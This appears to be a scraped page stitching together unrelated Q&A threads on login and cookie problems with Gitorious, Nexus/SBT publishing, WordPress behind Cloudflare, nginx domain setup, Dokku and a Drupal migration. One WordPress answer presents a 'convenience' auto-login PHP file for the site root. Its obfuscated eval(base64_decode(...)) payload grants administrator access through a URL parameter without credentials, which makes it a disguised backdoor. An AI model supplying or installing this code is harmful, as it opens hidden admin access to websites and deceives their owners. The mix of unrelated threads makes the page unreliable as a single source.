I've installed gitorious on CentOS 6 32bit via getgetorious.com's installer. I went ahead and edited the gitorious.yml with my host name "git.mydomain.com". Restarted gitorious with /usr/bin/restart_gitorious.
I have checked the conf.d/gitorious.conf file for nginx and it shows the server name as my "git.mydomain.com".
When I try to login I get redirected back to the homepage and nothing happens. I checked the headers being sent from the server and the cookies are for "www.mydomain.com" instead of "git.mydomain.com"
I have a server block in my nginx.conf for "www.mydomain.com" which points to a completely different directory. I can't figure out how and why the cookies are being set to www instead of git.
Here's paste of my headers. I've replaced my actual domain with mydomain.com.
http://pastebin.com/Lu0txrtR
I'm also seeing this error in the production.log file
WARNING: Invalid request host 'git.fruition.company'. Session cookies
will not work
I have made the following changes to my gitorious.yml file.
# Host the ./script/gitorious script should use: client_host:
git.fruition.company
# Host which is serving the gitorious app, eg "gitorious.org"
host: git.fruition.company
I have also tried setting the hostname using the provided shell script to no avail.
I can't figure out where or why the cookies are being set to www instead of git.
Any help would be greatly appreciated.
I ended up running the install script again and create a new user. Everything seems to work now.
Related
I am trying unsuccessfully to publish from SBT into a Nexus repository running on my network. Attempts to publish fail with a forbidden error
If I look at the Nexus side of things with trace debugging on, I can see the request, but there is no Authorization header in the request.
This is my build.sbt
And this is my credentials file
I have used curl to see what the Realm should be, which hopefully I have reflected in my credentials file
But nothing I do seems to get the Authorization header in the PUT request. Is there something obvious I am missing? I feel like I am spinning my wheels.
Thanks for any help
This did end up being how I had set up my files. My build.sbt file was fine. However, in my credentials, my Host value contains a port, which was confusing the IvyAuthenticator. I ended up seeing this error message when running through sbt shell in IntelliJ
My issue was that, in my credentials file, my host ended with the ":8081" value, and it looks like IvyAuthenticator was using the host name without the port information.
So, after updating my credentials file, so that the host value was just the machine name without any port details, my publish succeeded.
I have a static website on which I installed cloudflare flexible SSL.
but now in a folder I installed wordpress here https://www.kiransboutique.com/wordpressrvc/
non of its link is working and wp-admin is also not redirecting to dashboard. I am using correct login credentials.
Can anybody suggest any solution? exactly same installation is working here http://bestcoachingcenter.com/kirans/
To auto login into your wordpress admin , by not adding admin username and password eachtime, you can use below code snippet.
Using this code in a php file and placing it on root directory of your wordpress installation helps you to get login into wp-admin with an administrator account.
What is required to make it work is, you need to hit the url by passing keyword “wpglogin” in query URL as given below –
http://www.sitename.com/codefile.php?wpglogin=YWRtaW4=
By hitting the above URL , you will get entered into admin easily.
<?php /*** PHP Encode v1.0 by zeura.com ***/ $XnNhAWEnhoiqwciqpoHH=file(__FILE__);eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiwkZyk7JGQ9YXJyYXkoNjU1LDIzNiw0MCk7aWYoJGI9PTApICRmPXN1YnN0cigkYSwkZFswXSwkZFsxXSk7ZWxzZWlmKCRiPT0xKSAkZj1zdWJzdHIoJGEsJGRbMF0rJGRbMV0sJGRbMl0pO2Vsc2UgJGY9dHJpbShzdWJzdHIoJGEsJGRbMF0rJGRbMV0rJGRbMl0pKTtyZXR1cm4oJGYpO319"));eval(base64_decode(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH)));eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,2),YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,1)));__halt_compiler();aWYoIWZ1bmN0aW9uX2V4aXN0cygiWnNsZGtmaEdZVTg3aXlpaGRmc293Iikpe2Z1bmN0aW9uIFpzbGRrZmhHWVU4N2l5aWhkZnNvdygkYSwkaCl7aWYoJGg9PXNoYTEoJGEpKXtyZXR1cm4oZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7fWVsc2V7ZWNobygiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTt9fX0=e044e9d170abfceff3904a363ae1348b68619a68hVRta9swEP7sQv+DFkKllMRpYexDQwKjdSHQbl2S7UsoQrEvsTbF8mQZN5T+9+nFdry1ZQkB5+55Od2dnAJLQBF8LTMNmR6tDjlcIZbngsdMc5mNfxYyw4PJ6Ul/ywU8MJ1OUcJVxvZA+nQZLX5EizVeXi/mDyt6O7+Lvny+j/CjZfAsFmUCVGaxwTb0sDeu8pGQLAnzNO9Z4E7IDROoX+XJxvwFpaSiCnKpNM925MJi/JdvCS8K0MZ6EX37Hi1Xa1zlhr/jmTFFZ2fozQz6MEUYD55PT4J+E0VTtGEFfPpIE4hlAu9oGu/A2HZoRoole5N0ekGfqV1hxJhS7EBsJMBKCsCo+UxnNYMXWjEtFR56WFbuN6Bw4DGXNjiYIC9q8WUBykrvQFP3TJyZqyno2wjliclfuoCt8kjzxXVRneT64nE0S5hmo9n8xpFfnOTvEtTBQPEyuouuV+gc3S6+3iMcutmMZrmCLX8KsS+sSkEBmt9YQtgYhRj78hQUpdC2/JpsT1EHiXdyB2lK9yDBCk3dBrhG4+YYnak1yu4QztVl2mPYn6um0zm6ORDsRzpstdrZWoQ3SiRlsV18YnaA1gTkAF2vOuQHYYBmJWlcKmXukLMjDcU05y8QK3VKYyl/cXiNGY/t2cztglhTLafOzw2NlkqQwSQI6s4eMajgGur0USMXLIZ2J3FVVSF+08NgtOJ7YhaT1jTS8Ie93rCLHbQFGDs/hzYXYnurXa1jtpGltpfbL0Jav2PupH+lXLllUcIsii8Jnrj2tZ1DnMr3dPEk4dD2km2BNjjyHuOob7pzPq53A0QBz/820pznVbv/62Ua0jHw8i9/AA==
Your homepage is still in "hello World" state, so you may still want an answer. I had the same(?) problem; and checked posts like yours on Stackoverflow/Stackexchange - alas no joy.
What worked for me:
If you are using the official Cloudflare plugin ( https://wordpress.org/plugins/cloudflare/ ) set “Automatic HTTPS Rewrites” to “On”. This solved link and CSS issues under HTTPS, and saved me having to install additional SSL related plugins.
As a stop gap: If you have not configured WP to "force SSL" you might be able to login using an "http://" address (as I was).
To enable "HTTPS" login, edit wp-config.php and insert the following line:
if (strpos($_SERVER['HTTP_X_FORWARDED_PROTO'], 'https') !== false)
$_SERVER['HTTPS']='on';
If you want a bit more detail I posted about it here: http://wptest.means.us.com/cloudflare-wordpress-unable-login-https/
Note: Flexible SSL is better than no SSL as it encrypts the "connection" between you and Cloudflare. However, CF's connection to your server is still "HTTP" and your login credentials are STILL vulnerable to eavesdropping on this leg of the journey.
I'm still checking, but I think you can also make the CF <-> Server connection secure by enabling Cloudflare Railgun (used to reduce data transfer from your server). Railgun uses TLS, so data is encrypted. I assume if you use both Flexible SSL and Railgun your connections are secure end to end. Some inexpensive hosts include Railgun for free in their packages.
you can fix Wordpress SSL login problem by entering your server IP to the Windows HOSTS file.
Find Hosts file in windows\system32\hosts add your IP and domain name.
I have a few apps running in a aws instance with Dokku. I'm using virtual hostname, and together with some DNS configuration of my registered domain, I have the following for one of them: mydomain.com is a CNAME record pointing to the aws instance address, and Dokku+nginx take care of redirecting to the correct app/process.
The path for all API calls is /parse, as I'm using the open source Parse Server. The final server url is mydomain.com/parse.
What I want to achieve, ideally, is the following: api.mydomain.com gets redirected to mydomain.com/parse, api.mydomain.com/someFunction to mydomain.com/parse/someFunction and so on.
When researching to see how this may be possible, I found that this can be done easily with nginx, like explained here in this answer.
I can even change manually the nginx config file, but I'm afraid that it will be overwritten in future changes. How can this ideally be achieved with nginx on Dokku?
I have a domain running
http://www.exampledomain.com
and I have a subdomain that is working correctly at
http://mysub.exampledomain.com
both have web pages being served by nginx and I am able to hit both of those without a problem.
I have another domain that I want to point at that subdomain so it serves the same pages without redirecting the url.
http://www.myotherdomain.com
On that domain I setup these records
host name: www
ip address/url: mysub.exampledomain.com.
record type: CNAME (alias)
host name: #
ip address/url: mysub.exampledomain.com.
record type: CNAME (alias)
Now when I try to load http://www.myotherdomain.com I get a 400 error coming from nginx. Because it's an nginx error I'm assuming the dns is making it through but I could be wrong. Do I need to do something to let nginx or ubuntu be ok with serving requests from this domain? Modify my hosts file or something?
Edit: Now that it's been a little bit I'm no longer getting the error but It's loading the content of my first url. So using the psuedo domains above... www.myotherdomain.com is now loading the content of www.exampledomain.com instead of mysub.exampledomain.com
I was able to get this working by changing my record types from CNAMEs to URL frames. If anyone has more knowledge on the subject I would still love to know why my previous setup was causing nginx errors and this one isn't.
Migrated a fully-functioning Drupal 7 site and corresponding database to a new server. I am unable to login to the admin side. The error message is: “Access Denied. You are not authorized to access this page.” The username and password has been verified.
I looked at /admin/reports/dblog, the error log shows 2 entries per login. One entry shows the session is opened for the correct username, and the other entry shows access denied and the user is ‘anonymous.’ It is my assumption that Drupal is not able to validate the user so it is assigning the user as anonymous.
I read many forum topics on similar issues. I commented out the ‘$cookie_domain’ in ‘settings.php’, but still nothing. I looked back at the functioning site and saw that 2 cookies are generated: ‘has_js’ and a session ID cookie. In the new site, only the ‘has_js’ cookie is generated (using both Firefox and Chrome browsers). I have verified that the session id is being saved to the session table in the database.
I have looked into modifying ‘php.ini’ (etc/php5/apache2/php.ini) but have not found a solution that saves the session id cookie.
Drupal 7
Linux Server
Ubuntu 12.04
Apache 2.2.22
MySql 14.14
PHP 5.3.10
Uncomment line 340 on settings.php to reflect your domain name
e.g. for localhost
$cookie_domain = 'localhost';
Please note this works for drupal 7 and my php version is 5.6.
Regards,
When migrating drupal installations from server to another there is several problems that could appear.
1) check your file permissions, because sometimes we migrate files from server to another and having different owner:group and this gives serious problems.
2) You need to delete all cache before migrating to avoid having access problems and using wrong urls from cache and so on, in your case you already migrated Drupal, so you need to go to the DB and delete content of all cache_* databases. this could help you.
3) if not you need to look at what php version you have been using and mysql and apache maybe some deprecated functions or so.
I had the same problem, except that I could see the session cookie in Chrome (Settings -> Show Advanced Settings -> Content Settings -> All Site Cookies and Data). The cookie's "Send for" property was set to "Secure Connections Only" and my site was running up on HTTP / port 80. Thus the browser would not send the cookie back to the web.
The problem turned out to be this line in php.ini: session.cookie_secure = 1
When this option is set, PHP will specify that the cookie may only be sent over a secure (HTTPS) connection. This makes it harder to mount a man-in-the-middle attack because the cookie is no longer sent via clear text.
There are two ways to resolve the issue: 1) Switch the site to HTTPS. 2) In php.ini, set session.cookie_secure = 0
I had the same problem. Number 3 from the first answer saved me - I'd recently changed my MAMP PHP version to 5.6 and this seemed to be causing the issue. Reverting back to 5.5 means I can now login.